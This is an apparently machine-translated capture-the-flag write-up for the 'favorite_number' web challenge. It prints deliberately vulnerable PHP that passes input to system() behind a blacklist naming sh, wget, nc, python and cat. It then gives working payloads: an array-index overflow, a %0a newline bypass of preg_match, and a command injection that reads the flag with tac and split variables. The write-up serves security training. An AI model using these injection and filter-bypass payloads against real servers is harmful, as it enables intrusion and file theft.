当前位置:网站首页>Attack and defense world web question -favorite_ number
Attack and defense world web question -favorite_ number
2022-07-26 00:40:00 【Try to be a big man M0_ sixty-eight million seventy-four thousa】
Code audit
The source code is given directly , Conduct code audit .
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
First post Pass in the parameter , There are two parameters passed in , One stuff, One num, First stuff It has to be with array The type and value of the array are exactly the same , however stuff[0] It can't be admin, after num It has to be numbers , And set blacklist filtering , Final output .
PHP5.5.9 Integer overflow vulnerability
stay php5.5.9 In version , When the array is nine 16 Number of hours , It will overflow , Equivalent to reordering ,16 Of 8 The power is 4294967296 Logically equivalent to subscript 0. So we can use 4294967296 Treat it as a zero subscript to bypass sutff[0]!=‘admin’.
bp Grab and replay payload:stuff[4294967296]=admin&stuff[1]=user&num=123
preg_match() Bypass
first preg_match() Bypass ,preg_match() Will not match newline , have access to %0a To bypass .payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0aasd
Successfully bypassed .
View file first .
It can be executed , After searching, I found flag In the root directory 
Finally, bypass the blacklist cat It is filtered and can be used tac Open up
cat: Start with the first line , And output all the content
tac: Show the contents in reverse order from the last line , And output all the content
flag You can bypass .payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0aa=ag;b=fl;tac /$b$a
Succeed in getting flag.
边栏推荐
- @The difference between requestparam and @pathvariable annotations
- [array creation in numpy]
- Verilog语法基础HDL Bits训练 05
- 数据库工具对决:HeidiSQL 与 Navicat
- Tarjan 求强连通分量 O(n+m) ,缩点
- Research on visualization method of technology topic map based on clustering information
- HCIP第十二天
- Hoops exchange helps hybrid computational fluid dynamics software build 3D format import and read function | customer case
- [redis] ① introduction and installation of redis
- 以数据驱动管理转型,元年科技正当时
猜你喜欢

letfaw

In order to grasp the redis data structure, I drew 40 pictures (full version)

C#从入门到精通(三)

OAuth2和JWT

【IJCAI 2022】参数高效的大模型稀疏训练方法,大幅减少稀疏训练所需资源

HCIP 第十一天

本地电脑架设传奇怎么开外网叫朋友一起玩?
![[redis] ③ data elimination strategy, pipeline command, publish and subscribe](/img/80/7caeb24380ea026aa8153f2169dfdd.png)
[redis] ③ data elimination strategy, pipeline command, publish and subscribe

Binary representation -- power of 2

Redis命令参考手册 - Key
随机推荐
YOLOV2 YOLO9000
Tarjan 求强连通分量 O(n+m) ,缩点
HNOI2012矿场搭建
SQL (basic 2)
Sorting out the encapsulation classes of control elements in appium
Mwec: a new Chinese word discovery method based on multi semantic word vector
Tid-mop: a comprehensive framework for security management and control under the scenario of data exchange
以数据驱动管理转型,元年科技正当时
[IJCAI 2022] parameter efficient large model sparse training method, which greatly reduces the resources required for sparse training
Research on text classification of e-commerce comments based on mffmb
GOM and GEE engine black screen does not display the interface, and the solution of equipping map monsters
MySQL - master-slave replication
Are you still counting the time complexity?
GOM和GEE引擎黑屏不显示界面,装备地图怪物的解决方法
DC-6 -- vulnhub range
Modeling and simulation analysis of online medical crowdfunding communication based on SEIR model
Eight common SQL misuses of MySQL, all of which I have learned
8种MySQL常见SQL错误用法,我全中
Four characteristics and isolation level of MySQL transactions
Hnoi2012 mine construction